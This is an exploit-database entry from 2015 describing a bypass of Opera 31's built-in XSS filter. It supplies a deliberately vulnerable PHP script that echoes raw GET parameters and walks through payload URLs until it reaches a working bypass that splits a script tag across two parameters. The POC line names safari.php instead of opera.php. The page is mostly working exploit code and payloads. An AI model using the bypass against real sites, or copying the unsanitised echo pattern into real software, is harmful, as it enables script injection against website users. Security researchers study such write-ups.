Opera 31.0.1889.174 XSS Filter Bypass



EKU-ID: 5075 CVE: OSVDB-ID:
Author: Mahdi.Hidden Published: 2015-09-01 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: Opera 31.0.1889.174 XSS Filter Bypass
# Exploit Author: Mahdi.Hidden
# Vendor Homepage : http://www.opera.com/
# Software Link: http://www.opera.com/computer/thanks?ni=stable&os=windows
# Version: 31.0.1889.174
# Date: 2015-08-28
# Tested on: Windows

# Description
# XSS attacks occur when a PHP script doesn't filter the inputs and  
show it clearly on the webpage. This vulnerability is very usual on  
websites web applications.there are a lot of websites which have this  
vulnerability. XSS will happen with a JavaScript code in usual and  
that's why the browsers use XSS Filter. The XSS Filter on browsers  
detects JavaScript in URL and HTTP POST requests. If JavaScript is  
detected, the XSS Filter won't let JavaScript to executing. However,  
the XSS filter can by bypassed in some ways. i will show you what i  
found.

# Full Explanation
# Opera browser is a famous browser in internet and for this reason  
the opera company should secure the browser to users. one of this  
security issues is the Anti-XSS. The Anti-XSS stops executing  
javascript and today i'm going ro bypass it.

# Fist, make a vulnerable PHP file (EX: opera.php):
<?php
// Echo the value of parameter one
echo "This is text1:".$_GET['text1']."<br><br>";

// Echo the value of parameter two
echo "This is text2:".$_GET['text2']."<br><br>";
?>

# Next, i want to test a simple XSS payload like this:
http://[HOSTNAME]/[PATH]/opera.php?text1=<script>alert(/XSS/)</script>&text2=ashiayne

# that JS code will be shown in the source but you will get no alert  
and if you see the source you find that your code was shown with red  
highlight.that's for high security of opera. if you try to test other  
payloads you will see the same result.

# OK, let's try using script tag (<scrip>) without closing. it means this:
http://[HOSTNAME]/[PATH]/opera.php?text1=<script>alert(/XSS/)&text2=ashiayne

# Again the code will be shown but it won't have any red highlight and  
the JS code is known as a HTML text, because of the none-closing tag.

# Well, let's try closing tag on parameter 2:
http://[HOSTNAME]/[PATH]/opera.php?text1=<script>alert(/XSS/)&text2=</script>

# in this one, your code will be completely shown without any red  
highlight or something like that, but again it will be known as a HTML  
text.

# let's try using quoting and put the none-code texts in 2 quotations!  
for example using void(''), put void(' in the parameter one and close  
it in parameter 2 like this ') now let's try it:
http://[HOSTNAME]/[PATH]/opera.php?text1=<script>alert(/XSS/);void('&text2=')</script>

#  You will see the alert!! Your JS code will be execute. instead of  
void(''), you can use document.write('') or etc.

# For example:
http://[HOSTNAME]/[PATH]/opera.php?text1=<script>alert(/XSS/);document.write('&text2=')</script>

# POC:
http://[HOSTNAME]/[PATH]/safari.php?text1=<script>alert(/XSS/);void('&text2=')</script>

# Payload:
?text1=<script>alert(/XSS/);void('&text2=')</script>

# Thanks.
# Mahdi.Hidden
# Ashiyane Digital Security Team